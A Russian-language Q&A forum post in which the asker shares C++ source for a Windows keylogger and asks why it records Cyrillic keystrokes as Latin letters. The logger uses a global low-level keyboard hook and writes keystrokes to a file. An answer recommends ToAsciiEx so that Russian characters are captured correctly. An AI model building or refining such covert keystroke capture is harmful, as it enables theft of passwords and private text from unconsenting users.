C++ MapVirtualKeyExA на русский

написал простой кейлоггер, и возникла проблема, переключение языков. Для получения раскладки я использую следующий код:

HWND foreground = GetForegroundWindow();
DWORD threadId;
HKL keyboardLayout;
if (foreground) 
{
    threadId = GetWindowThreadProcessId(foreground, NULL);
    keyboardLayout = GetKeyboardLayout(threadId); 
}

Для сопоставления keyCode с русским языком:

crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);

Но на выходе все равно получаю английские буквы. keyboardLayout считывается верно: EN = 04090409, RU = 04190419. Использую консольное приложение. Запись клавиши в файл:

int Save(int key) 
{
    if (key == 1 || key == 2) return 0;

    HWND foreground = GetForegroundWindow();
    DWORD threadId;
    HKL keyboardLayout;
    if (foreground) 
    {
        threadId = GetWindowThreadProcessId(foreground, NULL);
        keyboardLayout = GetKeyboardLayout(threadId); 
    }
    switch (key) {
       case VK_BACK:
           file << "[BACKSPACE]";
           break;
       ...//Другие случаи
       default:
            char crrKey;
            bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);
            if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) 
            {
                lower = !lower;
            }
            crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);
            if (!lower) {
                crrKey = tolower(crrKey);
            }
            file << char(crrKey);
            break;
    }
    file.flush();
    return 0;
}

Хук коллбек:

LRESULT __stdcall keyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam) 
{
    if (nCode >= 0)
     {
        if (wParam == WM_KEYUP) 
        {
            kbStruct = *((KBDLLHOOKSTRUCT*)lParam);
            Save(kbStruct.vkCode);
        }
    }
    return CallNextHookEx(keyboardHook, nCode, wParam, lParam);
}

main:

int main()
{
    file.open("keylog.txt", ios_base::app);
    if (!(keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardHookCallback, NULL, 0))) 
    {
        MessageBox(NULL, "Что-то пошло не так", "Error", MB_ICONERROR);
    }
    MSG message;
    while (true) {
        GetMessage(&message, NULL, 0, 0);
    }
}
#include <Windows.h>
#include <time.h>
#include <iostream>
#include <fstream>

using namespace std;

int Save(int key);
LRESULT __stdcall keyboardHookCallback(int nCode, WPARAM wParam, LPARAM lParam);
LRESULT __stdcall mouseHookCallback(int nCode, WPARAM wParam, LPARAM lParam);
HHOOK keyboardHook;
HHOOK mouseHook;
KBDLLHOOKSTRUCT kbStruct;
ofstream file;

Вот теперь все. Что я делаю не так?


Ответы (1 шт):

Автор решения: Mikhail U

Документация говорит, что при вызове MapVirtualKeyExA раскладка клавиатуры игнорируется:

In MAPVK_VK_TO_CHAR mode virtual-key codes, the 'A'..'Z' keys are translated to upper-case 'A'..'Z' characters regardless of current keyboard layout."

Чтобы получить символ, необходимо использовать ToUnicodeEx или ToAsciiEx. Секция default будет выглядеть примерно так:

    uint8_t kbdstate[256];
    GetKeyboardState(kbdstate);
    uint16_t sym;
    auto cnt = ToAsciiEx(key, 0, kbdstate, &sym, 0, keyboardLayout);
    if (cnt) file << sym;
→ Ссылка